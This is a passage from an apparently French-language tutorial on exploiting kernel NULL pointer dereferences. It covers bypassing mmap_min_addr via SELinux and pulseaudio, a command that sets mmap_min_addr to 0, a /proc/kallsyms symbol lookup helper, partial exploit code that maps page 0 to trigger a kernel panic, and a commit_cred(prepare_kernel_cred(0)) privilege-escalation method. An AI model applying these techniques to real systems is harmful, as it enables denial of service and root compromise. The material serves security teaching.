mmap_min_addr
Avant tout, nous l'avons compris, le but est de réussir à mapper l'adresse du pointeur invalide, dans notre cas mapper l'adresse NULL. Depuis le kernel 2.6.23 (fin 2007), une nouvelle protection interdit aux processus n'ayant pas les droits root de mapper une adresse inférieure à une constante, mmap_min_addr. Il faut tout de même minimiser l'apport au jour d'aujourd'hui de cette protection.
Tout d'abord, cette protection était contournable jusqu'au kernel 2.6.31-rc3 (été 2009) en présence de SELinux (Security Enhanced Linux). Oui, c'est assez comique qu'un produit de sécurité permette l'exploitation de vulnérabilités autrement inexploitables. Bref, en présence de SELinux, les utilisateurs se voient octroyer des "capacités", par exemple celle de modifier les permissions, d'envoyer des données sur le réseau, de forger des paquets, etc. Dans ce cas, le mapping fait également partie des capacités :
static int cap_file_mmap(struct file *file, unsigned long regprot, unsigned long prot, unsigned long flags, unsigned long addr, unsigned long addr_only) {
if ((addr <= mmap_min_addr) && !capable(CAP_SYS_RAWIO))
return -EACCESS;
return 0;
}
Ainsi, une modulation à la restriction du mapping est apportée : le fait de pouvoir effectuer des entrées/sorties bas niveau. Bon cette capacité en soi-même n'est pas très intéressante. L'idée qu'ont eu Julien Tinnes et Tarvis Ormandi pour passer outre la restriction du mapping est géniale : puisque les programmes s'exécutant avec les droits root ont toutes les capacités, ils ont
cherché un programme suid dans lequel il était possible d'injecter n'importe quel code, même si celui-ci est exécuté sans privilèges (ce qui du point de vue strict du programme n'est pas une vulnérabilité). Ils l'ont trouvé :
Load the specified plugin module with the specified argument
En effet, pulseaudio est bien suid root et permet l'injection d'une librairie à travers son argument -L. Ainsi, puisque les capacités sont indépendantes des droits utilisateurs, le code exécuté en tant que plugin de pulseaudio n'aura pas les droits root mais aura la capacité CAP_SYS_RAWIO à travers pulseaudio qui est suid root. Il suffit ensuite de
mapper l'adresse 0, ce qui sera accepté.
Cette astuce n'est même pas nécessaire lorsque SELinux est installé et n'est pas en mode enforce, puisqu'il n'affichera que des avertissements sans empêcher réellement les actions.
Un dernier détail à régler : combien vaut mmap_min_addr ?
$ cat /proc/sys/vm/mmap_min_addr
0
$
Ok... Sur certains distributions, ce mmap_min_addr ne sert à rien puisqu'il vaut 0 !!! Quoi qu'il en soit, si sur votre machine ce n'est pas le cas, pour tester les exploitations suivantes, vous pouvez le mettre à 0, en tant que root :
# echo 0 > /proc/sys/vm/mmap_min_addr
0
#
Passons donc à l'exploitation.
Exploitations possibles
Le déréférencement de pointeurs en dehors de l'espace d'adresses allouées a trois variantes, selon les opérations qui sont effectuées sur la zone concernée :
- Lecture arbitraire en mémoire. Si un pointeur contrôlé par l'utilisateur est utilisé pour copier des informations qui seront ensuite consultables par l'utilisateur :
- Ecriture arbitraire en mémoire. De la même façon, le pointeur est dans ce cas utilisé pour recevoir des données, contrôlées par l'utilisateur ou non :
Dans le cas d'une lecture arbitraire, des structures de données importantes du kernel ou des drivers utilisés peuvent être dévoilées, permettant par exemple d'espionner la pile réseau ou les stack canaries stockés dans le kernel. Ceci dit, le plus intéressant reste les deux dernières possibilités comme nous allons le voir. Intéressons-nous d'abord à l'exploitation la plus simple : l'exécution arbitraire d'un pointeur de fonction.
Denial of Service : Kernel Panic !
Forcément, ce cas est le plus simple. En effet, si nous contrôlons un pointeur de fonction, il ne nous reste plus qu'à modifier ce pointeur de façon à ce qu'il exécute n'importe quel code en mode kernel. Dans notre cas, le déréférencement du pointeur nul se trouve aux instructions suivantes :
if (time_info->info)
*(time_info->info) = time_info->update();
En effet, puisque ce bloc peut être exécuté avec la structure time_info non initialisée, donc avec time_info = NULL, si nous réussisson à mapper la page 0, alors le pointeur time_info->info sera contenu de 0x0 à 0x3 et le pointeur time_info->update de 0x4 à 0x7. Ainsi, il suffit de placer n'importe quelle adresse valide dans time_info->info qui soit différente de 0 (par exemple, 1, qui est valide puisque nous avons mappé la première page), puis de placer à la place de time_info->update une fonction qui nous intéresse. On commence donc à réfléchir à nos possibilités. On se dit qu'en étant à l'intérieur du kernel, il y a de quoi faire complètement dérailler la machine. En modifiant des structures de données importantes par exemple. Mais attendez ! Si on effectue ce genre de modifications, le kernel va crasher de lui-même : c'est le fameux Kernel Panic. Alors si on en a la possibilité, autant passer directement à l'appel de la fonction qui cause cet arrêt prématuré. Je dis si on en a la possibilité car il faut avoir accès aux symboles du kernel, ce qui n'est pas toujours le cas. Lorsque c'est possible, il suffit de consulter par exemple /proc/kallsyms, /dev/kmem ou tout simplement l'image du kernel, par défaut visible par tout le monde :
$ cat /proc/kallsyms | grep -w panic
c06f2631 T panic
c06f2631 u panic [snd]
c06f2631 u panic [agpgart]
$
Nous sommes donc libres de consulter /proc/kallsyms pour extraire les fonctions ou variables exportées par celui-ci. Ainsi, depuis nos programmes d'exploitation, on peut repérer facilement n'importe quel symbole (je précise tout de même que ce bout de code vient de différents exploits de Spender, le développeur principal de GRSec, même s'il n'a rien du tout de compliqué) :
unsigned long get_kernel_sym(char *name) {
FILE *f;
unsigned long addr;
char dummy;
char sname[256];
int ret;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
fprintf(stdout, "Unable to obtain symbol listing!\n");
exit(0);
}
ret = 0;
while(ret != EOF) {
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fclose(f);
return addr;
}
}
fclose(f);
return 0;
}
Ceci dit, plutôt que d'appeller directement panic(), nous allons juste appeller une petite fonction à nous, qui appellera elle-même panic. En effet, panic() a besoin d'un paramètre pour fonctionner, qui est la chaîne de caractère du message de panique. Bon, et bien apparemment nous n'avons pas besoin de grand chose d'autre pour passer à l'acte :
void (*panic)(char *);
void do_kernel_panic() {
panic("Panic!");
}
int main() {
int file_desc;
struct timespec time_info;
if ((file_desc = open(DEVICE_NAME,0)) < 0) {
printf("Can't open device file: %s\n", DEVICE_NAME);
exit(1);
panic = (void *)get_kernel_sym("panic"); // can't use files from kernel space
*(unsigned long *)4 = (unsigned long)do_kernel_panic; // kerneltime_info->update
Bien sûr, je ne saurais trop vous recommander de ne pas exécuter ce code sur une machine dont vous considérez l'uptime comme important ! Vous l'aurez compris, la machine est censée crasher, et pas nécessairement de manière très propre. Bon, et bien sauvegardons nos travaux en cours et armons nous de courage :
$ ./nullderef_panic
Un hard reboot plus tard, nous sommes de retour. Ca a l'air d'avoir marché...
Escalade de privilèges
Bon, il n'y aurait pas mieux à faire ? Pourquoi ne pas effectuer le même genre d'opération que pour l'exploit Vmsplice et essayer de s'octroyer les droits root ? Dans les versions plus récentes du kernel, la gestion des uids a été modifiée et nous avons même des facilités pour s'octroyer les droits root. Maintenant, les ids sont stockés dans des structures struct cred :
atomic_t usage;
uid_t uid; /* real UID of the task */
gid_t gid; /* real GID of the task */
uid_t suid; /* saved UID of the task */
gid_t sgid; /* saved GID of the task */
uid_t euid; /* effective UID of the task */
gid_t egid; /* effective GID of the task */
uid_t fsuid; /* UID for VFS ops */
gid_t fsgid; /* GID for VFS ops */
[...]
Une méthode existe désormais pour remplacer ces struct à la volée, commit_cred, qui prend en argument un pointeur vers un struct cred. prepare_kernel_cred permet de créer
ce pointeur. Si on lui passe un pointeur nul en argument, il va retourner un pointeur vers le struct cred du process init, qui a les droits root. Ainsi, un commit_cred(prepare_kernel_cred(0)); devrait faire l'affaire. De la même façon que précédemment, on réécrit time_info->update de manière à ce qu'il pointe vers notre fonction
qui va exécuter ce commit_cred, et le tour devrait être joué :
//defs and vars needed for the get_root func
struct cred;
struct task_struct;
Comme prévu, nous avons réussi à nous octroyer les droits root. Bien sûr, pour peu que votre kernel soit plus ancien, il sera nécessaire d'effectuer une remise à 0 des uids et gids présents dans le task_struct du process, ce qui est possible en utilisant la fonction utilisée pour l'exploit Vmsplice.
Bien sûr, la réécriture d'un pointeur de fonction est le cas idéal. De manière plus courante, les pointeurs contrôlés sont plutôt utilisés afin de modifier des portions de la mémoire. Nous allons maintenant étudier comment exploiter l'inexploitable.